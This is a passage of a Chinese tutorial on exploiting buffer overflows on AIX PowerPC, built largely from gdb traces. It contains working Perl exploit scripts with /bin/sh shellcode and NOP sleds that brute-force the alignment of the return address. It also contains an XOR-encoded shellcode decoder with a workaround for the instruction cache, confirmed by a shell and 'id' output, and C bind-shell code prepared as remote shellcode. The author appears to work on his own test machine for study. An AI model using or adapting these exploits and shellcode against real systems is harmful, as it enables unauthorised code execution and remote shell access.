0x10000550
0x10000554
0x10000558
0x1000055c
0x10000560
0x10000564
0x10000568
0x1000056c
0x10000570
0x10000574
0x10000578
0x1000057c
0x10000580
0x10000584
0x10000588
0x1000058c
0x10000590
0x10000594
0x10000598
0x1000059c
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow
Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc 0x10000560
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b58是当前的堆栈指针,它指向的地址是前一个栈帧(0x2ff22bb0)。从堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:
(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc 0x1000056c
(gdb) i reg
r0 0x20 32
r1 0x2ff22b58 804399960
r2 0x20000e70 536874608
r3 0x2ff22b90 804400016
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b58 804399960
pc 0x1000056c 268436844
ps 0x2d032 184370
cr 0x22222842 572663874
lr 0x1000056c 268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000
strcpy已经完成,前一个栈帧保存lr寄存器的内容已经改写成0x41424344,接着看程序流程:
(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580
(gdb)
0x10000584 in main ()
1: x/i $pc 0x10000584
(gdb)
这几步指令的功能在前面已经说过了,就是main函数在退出的时候会切换到前一个栈帧,并且把r1+8的内容保存到lr寄存器,然后跳到lr寄存器执行。
五、学习如何攻击AIX PowerPC的溢出程序
了解了溢出流程后,我们可以来试试如何写攻击程序:
-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/
#include
#include
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
getchar(); /* for debug */
}
-bash-2.05b$ gcc -o vulnerable vulnerable.c
AIX和其它架构的操作系统一样,也有USER_UPPER(栈底),它的地址是0x2ff22fff,大致的堆栈结构如下:
栈底
+----------------+ 0x2ff22fff
| 保留 |
+----------------+
| 环境变量 |
+----------------+
| 执行文件参数 |
+----------------+
|执行文件绝对路径|
+----------------+
| 栈帧 |
SP --->+----------------+
| 堆栈增长方向 |
. | .
. v .
我们能够比较准确的猜测环境变量的地址,参考前面的调试流程和watercloud的一些AIX攻击程序,想当然的写一个攻击程序:
-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";
$NOP="\x60\x60\x60\x60"x800;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;
调试一下:
-bash-2.05b$ ./exploit.pl
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
在另一个终端用gdb调试vulnerable:
-bash-2.05b$ ps aux|grep vul
san 47644 0.0 0.0 208 220 pts/1 A 22:16:24 0:00 grep vul
san 44544 0.0 0.0 96 304 pts/0 A 22:16:02 0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544
0x10000548
0x1000054c
0x10000550
0x10000554
0x10000558
0x1000055c
0x10000560
0x10000564
0x10000568
0x1000056c
0x10000570
0x10000574
0x10000578
0x1000057c
0x10000580
0x10000584
0x10000588
0x1000058c
0x10000590
0x10000594
0x10000598
0x1000059c
0x100005a0
0x100005a4
0x100005a8
0x100005ac
0x100005b0
0x100005b4
0x100005b8
0x100005bc
0x100005c0
0x100005c4
0x100005c8
0x100005cc
0x100005d0
0x100005d4
0x100005d8
0x100005dc
0x100005e0
0x100005e4
0x100005e8
---Type
0x100005ec
0x100005f0
0x100005f4
0x100005f8
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.
在执行exploit.pl的窗口随便敲个键,gdb调试窗口就可以继续了:
Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0 0x100001cc 268435916
r1 0x2ff22210 804397584
r2 0x20000ee8 536874728
r3 0xf00890f1 -267874063
r4 0xf00890f0 -267874064
r5 0x0 0
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x60002449 1610622025
r10 0x0 0
r11 0x600026c8 1610622664
r12 0x100005ac 268436908
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000520 536872224
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b40 804399936
pc 0x100005dc 268436956
ps 0x2d032 184370
cnd 0x24222422 606217250
lr 0x100001cc 268435916
cnt 0x0 0
xer 0x0 0
mq 0x0 0
fpscr 0x0 0
(gdb) x/20x $r1
(gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c
0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f
我们看到lr寄存器正好被覆盖为0x2ff22b40,这就说明程序的流程能达到0x2ff22b40,这个地址也都是填充的nop指令,由于AIX PowerPC是4字节的等长指令,注意到0x2ff22f34这个地址错了两个字节,这肯定导致shellcode无法正常执行。watercloud 有一个很好的方法解决这个指令字节对齐的问题,用嵌套循环遍历保证字节对齐:
#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";
$NOP="\x60\x60\x60\x60"x800;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;
for($i=0;$i<4 && $ret;$i++){
for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
$ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
}
}
-bash-2.05b$ ./exploit1.pl
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
$
六、遭遇I-cache
为了适应各种复杂应用shellcode的编写,有一个解码shellcode就会变得相对容易。对ia32来说,这非常简单,PowerPC指令是不能直接操作内存的,参考ia32的decoder,写出下面的解码shellcode:
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x26" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop
// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;
int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
前半部分是解码,r3指向真实shellcode前一个字节的地址,r9是计数器,是shellcode大小+1。这样从真实shellcode的最后一个字符开始做异或处理。
有一个很奇怪的问题,直接用gdb运行这个程序:
(gdb) r
Starting program: /home/san/test
Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418
0x2000041c
0x20000420
0x20000424
0x20000428
0x2000042c
0x20000430
0x20000434
(gdb) x/24x $pc-48
0x200003e8
0x200003f8
0x20000408
0x20000418
0x20000428
0x20000438
(gdb)
可以看到程序在0x20000418这个地址出错了,可是这时候的指令是addi r3,r3,29,不应该出错。查看内容,真实shellcode都已经正确解码了。
接下来看看一个灵异的事情:
(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418
0x2000041c
0x20000420
0x20000424
0x20000428
0x2000042c
0x20000430
0x20000434
(gdb) x/24x $pc-48
0x200003e8
0x200003f8
0x20000408
0x20000418
0x20000428
0x20000438
(gdb)
在地址0x20000418先设一个断点,你会发现这个指令没有被解码!实在让人匪夷所思,和watercloud讨论,他认为可能是分支预测的问题,但 是我们在真实shellcode前加了很多nop指令也是出现这个问题。和alert7讨论过这个事情,他觉得有可能是指令缓存的问题,并且找到几年前一 些人的讨论:
http://seclists.org/lists/vuln-dev/2001/Nov/0325.html
看来老外早就讨论过这个事情了。Andersen, Thomas Bjoern (TBAndersen_at_kpmg.com)认为用一系列缓存同步指令(dcbst,sync,icbi,isync?)可以正确执行。
PowerPC 体系结构开发者指南指出自修改代码可以按照下面的序列执行代码修改用到的指令:
1. 存储修改的指令。
2. 执行 dcbst 指令,强制包含有修改过的指令的高速缓存行进行存储。
3. 执行 sync 指令,确保 dcbst 完成。
4. 执行 icbi 指令,使将要存放修改后指令的指令高速缓存行无效。
5. 执行 isync 指令,清除所有指令的指令管道,那些指令在高速缓存行被设为无效之前可能早已被取走了。
6. 现在可以运行修改后的指令了。当取这个指令时会发生指令高速缓存失败,结果就会从存储器中取得修改后的指令。
但是还有另外的问题。我的AIX机器的操作系统和CPU信息是这样的:
-bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
-bash-2.05b$ lsattr -El proc0
state enable Processor state False
type PowerPC_604 Processor type False
frequency 232649620 Processor Speed False
测试的结果很意外,我的AIX测试机并不支持一些缓存指令:
bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
icbi %r6, %r13
dcbf %r6, %r13
bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.
不管是GNU的as还是操作系统自己带的as都不能识别这几个关于缓存的指令。于是想着用sync和isync是不是能够解决这个问题:
-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x2e" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop
"\x7c\x00\x04\xac" // sync
"\x4c\x00\x01\x2c" // isync
// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;
int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
用gdb调试:
(gdb) r
Starting program: /home/san/test
Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418
0x2000041c
0x20000420
0x20000424
0x20000428
0x2000042c
0x20000430
0x20000434
(gdb) x/24x $pc-56
0x200003e8
0x200003f8
0x20000408
0x20000418
0x20000428
0x20000438
程序在0x20000420这个地址崩溃了,这个地方的指令是"addi r3,r3,29",正好是真正的shellcode,解码正确,但执行错误。
在0x20000420这个地址下个断点再试:
(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418
0x2000041c
0x20000420
0x20000424
0x20000428
0x2000042c
0x20000430
0x20000434
(gdb) x/24x $pc-56
0x200003e8
0x200003f8
0x20000408
0x20000418
0x20000428
0x20000438
(gdb)
这时可以发现0x20000420这个地址的指令并没有被解码,sync和isync的操作没有效果。
在isync指令的地址下个断点:
(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit
Program exited normally.
这样执行就一切正常。
我还尝试了很多办法,比如把解码后的shellcode写到离当前地址很远的地方,然后把那个地址保存到lr寄存器,再用blr跳过去执行,种种努力都失败了。
0dd上一个叫phil的朋友提到他在ARM芯片上的一些经验,他说可以通过运行系统调用来刷新I-cache的指令。watercloud也提到这种实现方法。经过测试,这种方法果然可行:
char shellcode[] =
// decoder
"\x7d\xce\x72\x79" // xor. %r14, %r14, %r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15, %r15, 0x101
"\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode
"\x3a\x20\x01\x01" // li %r17, 0x101
"\x38\x51\xff\xe1" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f" // addi %r17, %r17, -0xD1 # shellcode size
"\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character
"\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor
"\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character
"\x36\x31\xff\xff" // subic. %r17, %r17, 1
"\x40\x80\xff\xf0" // bne Loop # loop
"\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address
"\x44\xff\xff\x02" // svca 0
// real shellcode
"\xc6\x91\xfe\xde" // addi %r3, %r15, 32
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x83\x3b\x8d\x86" // mr %r5, %r14
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;
int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$
只需在真实的shellcode前面插入一个系统调用(这里使用的是sync的调用号,用其它也可以),系统调用执行完以后会跳到lr寄存器包含的地址执行,这时执行的指令不是缓存的。
七、远程溢出调试
lsd在UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes这份文档里提供了AIX的一系列远程shellcode,由于AIX的系统调用中断号在各系统版本里都是不同的,所以我们需要把它找出 来。
一个简单的监听端口的shellcode用C语言表示大致如下:
-bash-2.05b$ cat bind.c
#include
#include
#include
#include
int soc,cli,i;
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x1234;
soc=socket(2,1,0);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,5);
cli=accept(soc,0,0);
for (i=2;i>=0;i--) {
close(i);
kfcntl(cli, 0, i);
}
execve("/bin/sh", 0, 0);
}
AIX的dup2函数实际上最终调用的还是kfcntl系统调用。编译后,用gdb调试:
-bash-2.05b$ gdb bind
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) disas main
Dump of assembler code for function main:
0x10000534
0x10000538
0x1000053c
0x10000540
0x10000544
0x10000548
0x1000054c
0x10000550
0x10000554
0x10000558
0x1000055c
0x10000560
0x10000564
0x10000568
0x1000056c
0x10000570
0x10000574
0x10000578
0x1000057c
0x10000580
0x10000584
0x10000588
0x1000058c
0x10000590
0x10000594
0x10000598
0x1000059c
0x100005a0
0x100005a4
0x100005a8
0x100005ac
0x100005b0
0x100005b4
0x100005b8
0x100005bc
0x100005c0
0x100005c4
0x100005c8
0x100005cc
0x100005d0
0x100005d4
0x100005d8
0x100005dc
0x100005e0
0x100005e4
0x100005e8
0x100005ec
0x100005f0
0x100005f4
0x100005f8
0x100005fc
0x10000600
0x10000604
0x10000608
0x1000060c
0x10000610
0x10000614
0x10000618
0x1000061c
0x10000620
0x10000624
0x10000628
0x1000062c
0x10000630
0x10000634
0x10000638
0x1000063c
0x10000640
0x10000644
0x10000648
0x1000064c
0x10000650
0x10000654
0x10000658
0x1000065c
0x10000660
0x10000664
0x10000668
0x1000066c
0x10000670
0x10000674
0x10000678
0x1000067c
0x10000680
End of assembler dump.
gdb能够显示各函数的入口地址,我们在这些入口地址分别下断点:
(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328
下完断点后运行,gdb会在各函数里停下,这时我们就可以查看它的系统调用号。如果是包裹函数,一直用si单步执行下去,就能看到该函数最终实际调用的系统中断。
(gdb) r
Starting program: /home/san/bind
Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c
0x10007350
0x10007354
0x10007358